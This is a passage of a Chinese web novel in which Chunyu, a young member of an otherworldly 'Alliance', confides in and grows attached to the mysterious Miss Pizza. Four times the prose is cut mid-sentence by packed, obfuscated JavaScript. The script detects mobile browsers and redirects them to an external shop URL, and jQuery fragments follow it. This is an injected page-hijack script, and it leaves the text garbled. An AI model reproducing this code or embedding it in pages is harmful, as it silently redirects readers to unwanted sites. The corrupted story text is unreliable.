“虽然我也很怕痛，但是比起身体上的痛，我更害怕情感受到伤害，如果那一天真的到来，我一定会躲得远远的。至于我玩游戏的事情，你就不要管我了。” “对不起，春虞。”陈君宜冷静下来，“就算你不把我当朋友，我们也还是亲人，我们不可能永远不见……” “我从来没有那样说过，即使我生气难过，我也没有！”春虞看着她的眼睛反问：“最在意这件事的人，到底是谁？” 陈君宜慌乱的躲开春虞的目光，两人食不知味的吃完午饭，已经是半个小时后了。 陈君宜慢吞吞的从包里摸出两张电影票：“票已经提前买好了，还要去看电影吗？” 春虞看她：“你想去吗？” 陈君宜掩饰道：“反正票都买了，而且难得上映一部奇幻类的电影……” 奇幻类的电影是春虞喜欢看的类型，她主动挽上陈君宜的手，“那走吧，去买爆米花，我刚刚没吃饱。” 陈君宜也跟着笑：“其实我也没有。” 虽然春虞对陈君宜说的是，不在意披萨小姐带着目的接近自己，但真正重新回到联盟后，春虞还是接连几天都没去披萨小姐的小岛了，也没有通过手环联系对方。 春虞或许一开始不知道披萨小姐的目的，可过多的偶遇和对方包容的态度总能让春虞察觉出异样。 春虞自认不是个讨喜的孩子，那么一个金钱名誉都不缺，成熟又理智的大人突然对自己一见如故，肯定是有别的所图。 没被陈君宜点出来之前，春虞还能自欺欺人的说服自己，把联盟真正当做一个游戏，那样的话，NPC围着玩家转，就是很正常的事情。 可春虞知道，联盟不是游戏，自己也不是玩家。 春虞不想离开联盟，她也不想去见披萨小姐，于是春虞急切的想找些别的事来分散注意力。 也许疯狂接任务是个不错的主意，但春虞想到了别的好点子，她跑到【次元屋】发现这里一如既往的热闹。 “联盟里有什么可以一次赚取大量积分的任务吗？不用违法的那种。” 【方圆】兴致勃勃的凑过来泼春虞冷水：“没有哦。” 【朝朝】也走了过来，她跳上座位一本正经的对春虞说：“有的，赌博。” 春虞惊讶，“这居然是合法的吗？” 朝朝抿着嘴偏过头去，像是在和别人说话，可是回答又确实传了过来，“理论上来说是不提倡的。” 那就是实际可以，春虞很心动，她还想再问，方圆又接着出主意，“你可以多参加联盟的庆典活动，管理层在庆典一向大方，或者你也可以学我，去辅助考古工作成员进行‘掘坟’，这类任务的积分一向很高。” 春虞尴尬的笑：“你以为我不去是因为我不想去吗？”当然是因为考古组已经不招收长期工了，而且好不容易有个和考古有关的阶段性任务还是她抢来的！ 春虞决定继续了解一下关于赌博的细节，首先第一个问题是地点在哪里，她很确定《常识大全》里没有提到这个地方。 朝朝把头凑过来小声的和春虞科普，“联盟【生活区】经常有《星球史》知识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669046|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竞答的活动，活动旁边就是预测下次《星球史》进度而设置的展台。” “这个展台叫做‘星赌王’，就是赌博的地方。规则一般是根据正方反方预测的进度，选择自己的阵营，投票赔率参考各位成员的投票比例而定。” 朝朝快速讲出最后一句话：“而且出于人性化考虑，如果你猜错了，‘星赌王’仅会拿走你下注的一半赌金，是不是超级善良……” 朝朝话音落下的瞬间就被人揪着衣领离开了座位，一个黄头发的人接替了她的位置，“别瞎教啊。” 春虞顺着他头顶往上看，是【指挥官·鱼乔】，她立刻正襟危坐道：“我不会乱来的。” 旁边朝朝被【暮星】抱着放在斜后方的座位上，她伸展了一下四肢，头发生长，四肢抽条，不过片刻就从小孩子变成了大人的模样。 鱼乔：“新成员果然就是被你们教坏的吧。” 朝朝瞪大眼睛反驳：“冤枉人也要有个度好吧，我顶多也就接触了这一个新成员！而且赌博怎么了，无刺激，不赌博，她又不是小孩子了，能自己分辨是非……” 【暮星】扯了扯朝朝的袖子，朝朝不耐烦的回头，“怎么了，你最好真的有事，你刚刚帮鱼乔抢我位置的事情我还没和你计较呢。” 暮星凑到朝朝耳边小声道：“按照rakta的计龄方式，这个‘弗莱的影子’确实还未成年。” 朝朝震惊：“还真是个孩子啊。”她面色复杂的看了一眼春虞和鱼乔。 鱼乔在查看春虞的任务详情，“如果你只是为了积分就不要去赌博了，我看了你的任务完成情况，你想试试文字类的工作吗？或者我也可以推荐你去【禁区】，将那个阶段性的考古辅助任务延长。” 春虞高兴，春虞假装矜持道：“诶，这是被允许的吗？我其实相当喜欢这个考古辅助任务呢。”如果能被延长当然是太好了。 鱼乔没听出春虞的假装矜持，他一脸例行公事的表情，“当然可以，你的任务完成得很漂亮。包括以后也是，如果你认为你完全有能力胜任某一项工作，可以通过任务反馈向【管理层】自荐。” “还有你。”鱼乔喊住努力缩小存在感正准备悄悄溜走的方圆，“考古组已经累计向【管理层】提交了三次投诉，关于你暴力掘坟的事情。” “但鉴于你的天赋和考古组高度适配，【管理层】商讨后决定将你的被投诉额度提升至五次。如果你经核实的投诉再出现两次，【管理层】会将你从考古组移除。” 方圆点头表示自己明白了，于是鱼乔就像来时一样安静的离开了。 春虞则后知后觉的意识到，鱼乔开头那句“新成员果然就是被你们教坏的吧。”的“你们”居然也包括方圆。 “所以你开头和我提到的‘掘坟’是真物理意义上的掘坟？” 方圆点头承认了，“我的天赋是【傀儡】，可以操纵亡灵的躯壳。当初去考古组也是因为积分高而不是出于热爱什么的。” “不过天赋加成居然真让我考上了，但我在操纵过程中经常损坏亡灵的躯壳所以被投诉了，但我发誓我真不是故意的。” 16. 醉酒失态 方圆说：“我在操纵过程中经常损坏亡灵的躯壳导致被投诉，但我发誓我真不是故意的。” 话音刚落，他又立即发出一声痛呼。方圆单手捂住了一只眼睛，他转头用剩下的那只完好的眼睛准确看向斜后方。 “啊，朝朝，你什么时候变回成年体了。”方圆痛得倒吸口凉气，“能变回幼年体吗？我都被误伤好几次了。” 朝朝转了下椅子，给自己点了杯鸡尾酒，她举着杯子露出个攻击性十足的笑容。“不可以！” “不想被误伤就不要当着我的面撒谎啊，我已经够宽容了，在联盟里超过八成的时间我都是以幼年形态生活的。” 朝朝拍了拍前面的空位示意春虞坐过来，她解释道：“我的天赋能力有点像自动测谎仪，成年体的力量会更强大，所以最好不要当着我的面撒谎哦～毕竟目前为止，我还没有找到关闭能力的方法。” 春虞从善如流的坐到朝朝面前，对方给她点了一杯金色的饮料，春虞试探的尝了一口，有点像蜂蜜水。 “弗莱的影子，你登记天赋了吗？” 春虞缓了一会儿，后知后觉的意识到“弗莱的影子”是在喊自己，果然还是很不习惯啊。 “还没有，”春虞想到了刚进入联盟时，就有光屏提示，登记天赋会奖励积分，“我以为这不是必须要做的事情？” “当然不是。但是我很好奇。”朝朝说，“如果你登记了，我总能通过什么渠道查询你的天赋，但你没有登记，我就永远不会知道了。联盟尊重和保护每一位成员的隐私和信息。” 春虞眨眨眼，玩笑道：“也许这就是我不愿意登记天赋的原因。明明只是登记了天赋，却好像把身份信息复印成册撒到满大街都是，要了解我的信息轻易得像是从地上捡起一张纸。” 她们都知道这不是玩笑，春虞不信任联盟，她就是胆小又谨慎的试图藏起所有，就算会因此损失些什么也无所谓。 “好吧。祝你在联盟生活愉快。”朝朝尊重春虞的想法，她对春虞举起酒杯，“但愿有一天你会改变想法的，联盟是绝对安全的存在。” “谢谢。”春虞举起那杯金色饮料和朝朝碰杯，“我也希望我能对联盟有新的体验。”春虞将金色饮料一饮而尽。 方圆早在两人谈话时就离开了，喝完酒朝朝也和暮星一起告辞了。【次元屋】依旧热闹，春虞在这里没有看见认识的人。 有时候春虞很享受这种氛围，热闹，但是没人会来管她。但是偶尔，春虞也会感到孤独，就比如此刻。 “大家都有可以一起分享趣事的朋友，只有我没有。”春虞想，“她们甚至都叫不出我的名字，虽然直接原因是我没有告诉她们。” 但这不全是我的错，春虞再次说服自己，因为她们不被我信任。 “明明不全是我的错，可还是很难过，”春虞头脑发热，好像里面煮了一锅浆糊，“我知道有谁能喊对我的名字。我当然知道。” 春虞知道自己的头脑很不清醒，但她依然准确无误的来到了披萨小姐的小岛。 春虞有小岛的特殊访客权限，除了小岛上被锁住的几个房间，她在披萨小姐的小岛几乎畅通无阻。 于是等披萨小姐从绘画室里走出来时，春虞已经把小岛左边的蓝色留言板写满了。 “春虞，你在做什么？” “啊，是披萨小姐。”春虞知道是谁在叫她的名字，她摇摇晃晃的站起来，走到披萨小姐面前，仰头看她，声音带着点委屈：“披萨小姐，你为什么一直不来找我。” 披萨小姐伸手将春虞额头前面被风吹乱的头发拨向两边，“我以为你故意躲着我，是不想见我。” “没有躲着你，我只是没有主动来见你。然后你也没来找我，一次也没有。” 春虞直言道：“我觉得我们的关系不太正常，我想好好思考一下，要怎么和你继续相处，所以我在刻意的减少和披萨小姐的接触。但是我们在联盟遇见的时候，你明明先看见我了，却没有先和我说话。” “我不喜欢这样，披萨小姐，因为看起来好像你并不需要我，只有我需要你。虽然事实可能也是这样，但你之前说了我们姑且是朋友，那我就假装事实不是这样。如果你的话还算数的话，我们就还是朋友。” “既然是朋友，披萨小姐就应该像我需要你一样，需要我。披萨小姐，你需要我吗？” 披萨小姐说：“春虞，你喝醉了。” 如果是清醒的春虞就能听出来，这是披萨小姐在委婉的拒绝这个话题，可是春虞晕晕乎乎的，她上前一步，脸几乎贴上披萨小姐的下巴，披萨小姐也没有躲开。 于是春虞满意了，“我觉得我很清醒，我没有喝酒。” “你来之前喝了什么？” 春虞回想道：“一种金色的饮料，朝朝给我点的，我觉得颜色看起来很像魔法世界里的福灵剂，很漂亮，但是是蜂蜜味的。” 披萨小姐知道了，“那是蜂蜜酒，我记得度数很低，你喝了多少？” 春虞竖起一根手指，披萨小姐保守估计道：“一箱？” 春虞瞪大了眼睛，纠正披萨小姐：“是一杯。” 披萨小姐沉默，“你知道你酒量这么差吗？” “朋友说过，但我没信。”春虞试探的，轻轻的抱住了披萨小姐，披萨小姐软乎乎的，有点凉，春虞保持拥抱的姿势没动，小心翼翼的抬头看了一眼披萨小姐的表情，没被拒绝。 于是春虞加深了这个拥抱，继续道：“毕业晚会的时候，我喝了半瓶菠萝啤，她们说我醉了会欺负人，我一直以为她们在骗我。但是可能也没有骗我。” “因为我感觉我现在就在欺负你，披萨小姐，你为什么不推开我？” 披萨小姐回抱住了春虞，“是我在欺负你，春虞。我当然也需要你。” 春虞疑心自己听见了披萨小姐的叹息，她抱紧了披萨小姐，狠狠吸了口气，“变暖和了。” 这个暖和的拥抱并没有持续多久，披萨小姐很快把春虞从身上扒拉了下来，醉酒的人类最好给她喂点蜂蜜水，但鉴于春虞已经喝了蜂蜜酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669047|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，披萨小姐就给春虞喂了点酸奶。 春虞第二天在披萨小姐隔壁房间的床上醒来了，得益于披萨小姐喂她喝的酸奶，春虞醒来时神清气爽。 “披萨小姐？”春虞走出卧室，没看见披萨小姐，她顺着走廊走到外面，小岛的草地上摆着餐桌，披萨小姐正在煎蛋。 “醒得刚刚好，你喜欢吃全熟的蛋还是溏心的？” “全熟！”春虞小动作的擦了一下眼角，但还是被披萨小姐发现了。 披萨小姐轻轻笑了一声，“先去洗漱吧，房间里有没拆封的洗漱用品，希望你用得习惯。” 春虞点头，小跑着离开了。 早餐很丰富，披萨小姐还煎了牛排和黄油面包，煮了西兰花，饮品是牛奶和果汁。 “披萨小姐你好厉害，居然一下做了这么多！”春虞在披萨小姐对面入座，她选了个黄油面包，松软香甜，美味极了。 “嗯。”披萨小姐点头又解释，“鸡蛋和牛排是我煎的，其他的都是【崇声】老板那里订购的。” “那也很厉害，我一直都处理不好肉类，所以从来都不吃自己煮或炒的肉类，会让我想起切肉的手感，很奇怪。” 披萨小姐挑了挑眉，似乎有别的看法，但最终什么也没说。 两人和谐的吃完了早餐，就像之前的很多次一样。如果披萨小姐和春虞的故事就在这里停止，也许对她们来说也是好的结局。 春虞喜欢这样的状态，她决定要和披萨小姐开诚布公的谈一下。 “披萨小姐，我们可不可以还像之前一样？就只是朋友也可以。” 春虞不自觉的带上敬称：“无论您为什么需要我，无论您需要我什么，只要你还没有欺负我，我们就可以一直是朋友，至少目前来说，是的。” “我不知道我以后会做什么决定，但是没有主动联系您的大半个月，我总是不合时宜的想到你，想见你，想和你一起在街道上闲逛，或者什么也不做也可以。” “我觉得我不太会权衡利弊，从而做出正确的选择，但是我想，我还这么年轻，那么冲动一点也没关系。我想和你一起玩，披萨小姐，我们重修旧好吧？” “话都让你说完了，我能说什么。”披萨小姐温和又平静，“我们当然一直是朋友，春虞。” 春虞对这个答案不太满意，“披萨小姐，你可不可以重新说一次，认真一点，我感觉你把我当小孩子敷衍。” “好吧，好吧。”披萨小姐带着笑意妥协了，“好春虞，我可以先把这段关系的主动权放在你手里，在我付诸最后的行动之前，你可以随时叫停这段关系，或者继续。” 春虞：“这是补偿吗？为了从我身上得到某种东西的补偿。” 披萨小姐：“并不全是。你可以把它当作是一个承诺。” “好吧，我接受。”春虞说：“那么，我还有最后一个问题。” “披萨小姐，下次再见你还会记得我吗？如果我们很久没见了如果……” “会啊。” 足够了。 17. 我们是朋友吗？ 因为经常去乌理理手工婚纱店消费，春虞也在手环里加上了乌理理的通讯号码。 “看在同为rakta的份上，给你一个忠告，绝大部分的asthi都没有爱和被爱的能力，你最好不要轻易地对她们动心。” 春虞隐约能猜到对方说的是披萨小姐，但她不明白乌理理为什么要说“动心”，明明她们只是朋友，她们甚至还是同一个性别！ 好吧好吧，也许乌理理说的是春虞没注意到的别人，她不明所以的道谢，“好的，谢谢你的忠告。” 春虞最近忙着开学的事情，已经整整两天没有看见披萨小姐了。她轻车熟路的来到披萨小姐的小岛，但披萨小姐不在。 春虞找到小岛角落里的蓝色光屏，那是披萨小姐专门留给春虞的。因为两人的作息和在联盟的时间有时候会错开，这块蓝色光屏可以用来留言，或者写信，在她们互相见不到对方的时候。 不过春虞用这块蓝色光屏的时间居多。 “我今天有一个好消息要告诉你，”春虞在蓝色光屏留言，“但是好事不能炫耀，不然会坏事。就像瓷国那句老话——言以泄败，事以密成，我深以为然。” “我很想告诉你，和你分享，是一件值得高兴，但是听起来很可笑的一件事，关于我。如果你也想知道的话，不如猜一猜，如果你猜错了，我就自己告诉你……” 披萨小姐很快回来了，春虞没有写完留言，她决定要亲口和披萨小姐说。 披萨小姐一边脱下风衣，一边回答春虞：“既然是关于你的好消息，那我猜，应该是你给弗莱写传记的事情有着落了？” 春虞摇头又点头，“虽然这也是一个好消息，但我要说的不是这个。” 披萨小姐挂好风衣，走到露天花厅坐下，做出洗耳恭听的姿势。 春虞本来想讲的是关于自己天赋的事情，但她看着披萨小姐的眼睛突然改变了主意，她好像猜到披萨小姐需要自己的原因了。 联盟序列078号天赋当然是很特别的天赋，春虞眼睛湿润，她想不出别的理由了，别的能让一个备受尊崇的长者接近新人的理由了。 春虞眨眨眼睛，她说：“因为前几天见到了指挥官鱼乔，他说我的任务完成得很好，所以将我那个辅助考古的任务延长了。” 披萨小姐看到了春虞的片刻停顿，但她没有说什么，“这是好事。” 春虞觉得披萨小姐才该是理亏的那个人，可心虚岔开话题的人是春虞自己：“指挥官更换了之前的仿生体，原来不止我一个人惊讶，我来的路上也有听到其他成员在讨论这件事。” 春虞：“真后悔之前没有上去要合照……但生抢我又觉得这样有点越界了……冒昧了……” 披萨小姐说：“你是喜欢他之前那个形象吗？” 春虞点头：“是的。不知道怎么开口或许我就不该开口，是的，不该……但我还没来得及实施行动应该会原谅我的吧？” 披萨小姐鼓励她：“好春虞，直接上前去，告诉他你想要，你会得到的。” 手环发出“滴”的一声响，春虞抬手看了一眼，神色奇怪：“没问题了，已经得到了！是仿生体的初始模型。虽然整个过程都很莫名其妙。” 披萨小姐说：“没关系，不就是个弃用的仿生体么。” 联盟每一具仿生体被制造出来时，为了后续的售后和修复，会留下一个初始模型。当有需要时，这个初始模型也可以批量制造。 到了晚上，春虞再进入联盟时，发现上午新得到的粉色像素小人活过来了，还会吃披萨，能充电，某种程度上比春虞还全能，春虞自闭。 像素小人的使用书上有写，不同的食物和环境会导致小人发生不同的变化，春虞给小人放了三份食物，绿叶，电池，和披萨。 本意是让小人自己选择，但她没想到小人这么没节制，居然将三份食物都吃掉了。 春虞怒而崛起，操控着不太熟练的天赋和像素小人打了一架，没有打过，但是也没受伤。春虞又给像素小人丢了两片叶子，发现像素人长大了一点，还会变色，从粉色向正常人类的肤色靠近，看起来和一个缩小版的人类变得很像了。 春虞疑心小人再长大一点，把像素人放到地球都不会有人类看出来的那种。 真奇怪，小像素人长大了会像人类。 而且像素人（养大了）还有种奇奇怪怪的魅力。 “很书卷气，”披萨小姐是这样评价的。 春虞有点生无可恋：“实际上是个游戏宅……难道是我养他的时候给他喂了奇怪的东西吗？叶子和电池都是食物，他两种都吃掉了。” 好消息是像素人不能脱离联盟存在。谢天谢地。春虞至少不用担心有一天联盟为了攻打地球而大量投放像素人了。 春虞不会日语，对繁体字也识别困难。虽然追日漫能听懂几个词，但也不会写。 披萨小姐形容她：“仅会的几个词里，含哥量超多。” 因为最近在追的日漫里，主角是个爱撒娇的究极兄控。 联盟10月19日，披萨小姐有点强迫症，她参加了联盟的一个趣味挑战赛，结果主办方接连三次弄错了上场顺序，披萨小姐快崩溃了。 春虞忍着笑安慰了披萨小姐，然后提起了下一个活动：“听说二月份还有一个类似的挑战赛，正好是寒假。如果寒假无聊，我也要参加这个。” 披萨小姐好像要枯萎了：“真好啊，寒假还能无聊。我已经料想到我各种事一堆的寒假了。” 春虞补充道：“所以是‘如果’。” 披萨小姐真的枯萎了：“对了想起来了，寒假还有个事情就是准备摊子，明年有个展，展品多的话过审概率大点。” 春虞没有去过所以不了解：“居然还要审核……这是没想到的。” 披萨小姐：“在地球是这样的，场地有限，人多了的话算集会，还要跟地球公安报备的。” 春虞星星眼：“好厉害，小弟膜拜膜拜你！” 披萨小姐笑道：“那个展在明年劳动节假，如果有空可以考虑一下。” 被邀请了。春虞高兴又有点别扭。真的好像网友面基。虽然我们已经见过了，但联盟真的特别像游戏，是的。 披萨小姐接着道：“在瓷国海城……你可以来玩。” 春虞认真查了展会资料，有点远，但毕竟还在瓷国境内，“如果有机会的话。” 10月20日，春虞发现用来留言的那个蓝色小光屏是一个可以被命名的人工智能。 春虞没尝试给光屏命名，毕竟这不独属于她一个人，她乐此不疲的和光屏一问一答，甚至试图让光屏给披萨小姐推送一些善待朋友的好处。智能助手不就是这样调教出来的吗。 披萨小姐像幽灵一样突然出现：“你和光屏的对话我这边也看得见，而且是实时更新。” 春虞看着光屏上突兀的对话僵住了，看得见什么！？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669048|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 怕被怀疑别有用心，春虞着急的解释：“我在联盟没几个朋友能有留言光屏，我还没完全了解ta的性能……我就只是玩玩，没想到能影响你……”救命。 披萨小姐好像快被笑死了，笑声很夸张。不像披萨小姐，像披萨恶龙。 春虞愣愣的：“这个光屏好像可以被命名，我们要给ta取名吗？” 披萨小姐说：“如果给光屏取名字，ta就会像人类一样诞生，会成长也会因为意外死亡。” 春虞闭嘴了，这听起来好像养孩子。她和披萨小姐肯定会教坏小孩子的。她从背包里掏出一个变异的小羊的标本递给披萨小姐：“送给你。” 披萨小姐的回礼是一个粉色的粑粑形状的生物，六根睫毛，看起来蠢……萌蠢萌的。 春虞和披萨小姐谈到了友谊要不要和利益挂钩。 “目前为止，你总是对的，披萨小姐。” “没什么利益相关的话，处理起来比较简单粗暴，有利益相关的话可能稍微考虑一下，但我不是什么忍耐度很高的人，在自身权益这方面。虽然做为老师的容忍度很高，那是因为学牲怎么样跟我没关系。” 披萨小姐说，“我可以也很擅长把自己摘出去。” “这种时候就不要这么坦诚了啊喂。”春虞感慨：“不过，我们不是敌人真是太好了。” 披萨小姐说：“你是对的。” 春虞疑惑：“什么对的？” “这句‘我们不是敌人真是太好了’，因为有时候我是那种不达目的不罢休，为了利益不择手段的人，如果春虞是我的敌人，我也会很苦恼呢。” 春虞又不合时宜的想到了自己之前的猜测：如果有一天联盟和地球开战，让她二选一，她要选谁。 春虞不想去考虑那么久远的事情：“我确信自己不会成为你的敌人。” 披萨小姐并不赞同：“才这么点时间不好说啊。” “别这样，拜托，披萨小姐，我会努力不触碰你的利益的。你要不要说一下你讨厌的东西，我提前避开，以防万一。” 披萨小姐同意了，她思考了一下：“我的容忍度很高，好朋友的话，基本上什么都无所谓。” “披萨小姐喜欢什么样的好朋友，我可以成为你的好朋友吗？” “没有固定类型。” “所以我可以是吗？” “不想见的人，和不想聊的话题，我会直接放置的（）所以能让你畅通无阻的进入小岛说明我对你的感官还不错。” 春虞：“这是真心话还是在敷衍我？” “我想我有说过没时间敷衍不相干的人？” “嗯，明白了。”春虞突然说：“披萨小姐，我好像有点喜欢你。” 披萨小姐沉默了一阵，接着像开玩笑，语气又很认真的说：“不要喜欢我，会变得不幸。” 春虞费尽心思绞尽脑汁的想出了一个合理的解释：“可能有点太夸张了，其实我想表达的是，我像喜欢弗莱一样喜欢你，因为我认为你也是很厉害的人，仅此而已。而且我的喜欢也并不长久，渐渐会变得浅淡的。” 春虞看着披萨小姐慢慢变平静的神色补充道：“别害怕。” 春虞：“就像我之前很喜欢小王子和玫瑰花。其实现在也喜欢，但这大概更像一种对角色，对设定的喜欢，啊，原来我是这样想的。” 春虞恍然大悟。 “披萨小姐，我好像喜欢你的人设！” 18. 披萨小姐是特例 “原来我喜欢的是披萨小姐的人设！”春虞恍然大悟，春虞成功说服了自己。 披萨小姐好像也缓过来了，声音都显得轻松：“居然说喜欢我而且夸赞我很厉害（）你这样一说，在联盟才能发现我比较多的一些本质上的东西，但是在地球的话我经常被说高冷，所以也不是什么很讨喜的家伙。”披萨小姐有点哭笑不得。 春虞看着披萨小姐的眼睛，披萨小姐依旧温和，甚至脸上带着笑意，可是春虞觉得披萨小姐有一点难过，她想说些什么，“没关系的，披萨小姐，我们本来就是人类口中的怪物多一点，而不是人类，不是吗？” 人类说我们不讨喜是因为我们不是人类，不是来自同族的评判所以也没有多大意义，所以也没关系。 披萨小姐的眼神缓缓聚焦，她说：“春虞，我的母亲不是人类。” 春虞知道的。在联盟里长大的孩子除了天赋技能很少有秘密。 春虞在联盟见过很多人，也从很多人口中听过披萨老师的名字。披萨小姐是一个强大的asthi，披萨小姐的母亲是一个rakta。 rakta是一个很伟大的种族。当rakta是一个母亲时，母亲的意志会直接决定孩子的状态，当母亲不想要孩子的时候，这个孩子不会降生。 通常来说，母亲想要一个孩子是因为爱，所以rakta的孩子不会是asthi。rakta带着爱意和期盼生下来的孩子不会是asthi。 所以披萨小姐是特例，所以披萨小姐的母亲不爱她。 如果母亲也不爱你，还有谁会爱你呢？ 春虞在这种时候突然很想拥抱对方，她顺从心意，上前紧紧抱住了披萨小姐。 “披萨小姐，这不是你的错。”不被期待却出生的孩子不是错误，明明不期待孩子的降生却依旧选择生下孩子的父母才是错的。 “披萨小姐，你优秀，强大，待人温和有礼，你值得被爱也会有很多人爱你。母亲没办法选择的时候，我们可以自己选择其他的亲人。” 披萨小姐回拥住了春虞：“‘很多人’也包括春虞吗？” 拥抱开始有了温度，春虞声音沉闷：“也包括春虞。” 披萨小姐温和的声音从头顶传来，好像那一点难过只是春虞眼花的错觉，“我没你想的那么脆弱，只是有时候会疑惑，我想不明白如果互相之间没有爱，为什么还要在一起，如果那样的话，我又是什么的产物。” “我虽然研究人类某些时候也可以跟她们共情，然后感觉，啊，原来我不是一个人这样，但终归是跟自己生活分很开的。” “所以我也不可能做到或者成为她们口中的那种人。” “简单来说就是对亲密关系有心理阴影，这么说不知道你明不明白。” 春虞轻声：“是因为害怕吗？” 披萨小姐在笑，春虞感受到了从披萨小姐胸腔的位置发出的震动，“也可以这么说。一边有心理阴影，一边又很想要，真的蛮折磨的。” 春虞：“因为我也是在不正常的爱里长大的，所以我也不知道要告诉你该怎么办。” 披萨小姐：“在东亚瓷国，特别是人类女性，多多少少都有点问题。好像在不正常的‘爱’里长大，才是常态。” “那就行。”春虞松了口气，声音更闷，“原来大家都是这样，太好了。” 披萨小姐感到胸前一阵濡湿，她强迫春虞抬起头来，擦去春虞眼角洇出的泪。 春虞：“没关系的，第一次……前几次还会难过，现在已经能保持平静了。” 春虞和披萨小姐靠近了一点。 春虞说：“我啊，从前有一个很喜欢的偶像，后来死掉了，大概在4年前。我决定要为ta做些什么，让人知道还有人还记得ta喜欢ta什么的。但是我现在并不希望ta活着，永远的活在回忆里好了。因为好多人都坏掉了，比起坏掉，我还是更希望ta死掉。真是抱歉。我也很难过的。” 披萨小姐：“蛮神奇的，人类总能研究出很奇怪的感情和关系，并为它们命名。” 春虞想了想：“大概就像我喜欢弗莱?我想我对弗莱也是这样的，因为他死掉了，所以不会有机会变成我讨厌的模样的风险。” “披萨小姐不会这样喜欢不认识不相干的别人吗？那天在【生活区】纪念馆，披萨小姐是去见谁的墓碑了？” 披萨小姐：“一个被君王杀死的臣子。” 春虞疑惑：“联盟历史上有出现君王吗？” 披萨小姐追忆道：“有，是封闭小国的君王和他的臣子。” 春虞又问：“那披萨小姐的好朋友呢？” 披萨小姐点头：“也有哇，但也隔着一块玻璃，虽然要好但也不会毫无保留。” “我也不敢这样毫无保留的对她们。我没有告诉任何人关于联盟的事。也许就是因为我不够真诚所以也不是什么讨喜的家伙。” 春虞说：“我不太会维护关系，我的好朋友少得可怜。我知道不该频繁的插入别人的生活，太没分寸和边界感了。” “我喜欢和她们分享趣事，可是总是找不准好的时机，所以我喜欢很多和弗莱一样困在另一个世界的人，我对她们诉说所有，包括情意，她们是永远不会崩塌的月光，也不会突然醒过来，喊我停下。” 披萨小姐：“***你可以再自信一点*******可以多以自我为中心出发去考虑一些事情，不用特别顾虑其他人。” 春虞艰难忍住泪意：“披萨小姐，我有没有问过你，关于我想写你……这件事？” 披萨小姐：“怎么说？” 春虞：“因为这件事我想了很久了，不知道有没有问过你。” 披萨小姐沉思，“没有哇。” 好可爱。春虞说：“我想创造一个角色，一个画家，我想，让她像你一样。” 披萨小姐感到新奇：“哇，感觉好玩，可以试试看，实在不行问我好了（）” 春虞笑道：“披萨小姐，我好像我真的要爱上你了。” 披萨小姐夸张的睁大了眼睛。 春虞说：“别害怕，我不会做不利于你的事情的。” 披萨小姐做出思考的神情：“故事里倒比较无所谓。” 春虞在心里补充了一句，可能不止是故事。 披萨小姐也许知道，也许不知道。 10月21日，春虞和披萨小姐交换了日志。 春虞自认为自己的字丑丑的，还有些不好意思，没想到披萨小姐的字意外的圆润，很可爱，光看字体和披萨小姐一点也不像。 披萨小姐的日志也很喜欢。 披萨小姐还给春虞推荐了一个名为tfp的动画，等到寒假，也许春虞会去看的。前提是她还能记起来并且有时间。 春虞说：“我吃饭很认真的……绝大多数时候，所以别在我进食的时候有事找我……才怪，披萨小姐想找我的话，什么时候都可以。” 披萨点头赞同：“让人记住了！” 春虞疑惑：“什么记住了？我不明白，这二者有什么关系吗？” 披萨小姐说：“**当然是记住你。” 春虞点头示意自己明白了，“有点迟钝，我有时候。” 披萨小姐说：“还好我有耐心。” 春虞忍不住心跳加速：“披萨小姐不要总说这种话啊，就算是不经意的好容易让人……误会的啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669049|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 披萨小姐惊讶：“怎么会，有时候学牲也是这样的，很多地方要解释才听得懂，已经得心应手了是。” 春虞深吸口气，严肃道：“我觉得我被你***了，是不是？” 披萨小姐反驳：“哪有。” 春虞从善如流的改口：“好吧，那就没有。” 披萨小姐又跟着叹了口气：“好吧。” 春虞没明白：“啊？怎么了？” 披萨小姐摊手：“既然要这么想我也没办法。”她俯身凑近春虞，“是不是？” 春虞惊讶：“不是吧，我说对了吗？” “不，你有办法，如果你说不是，我就相信。” 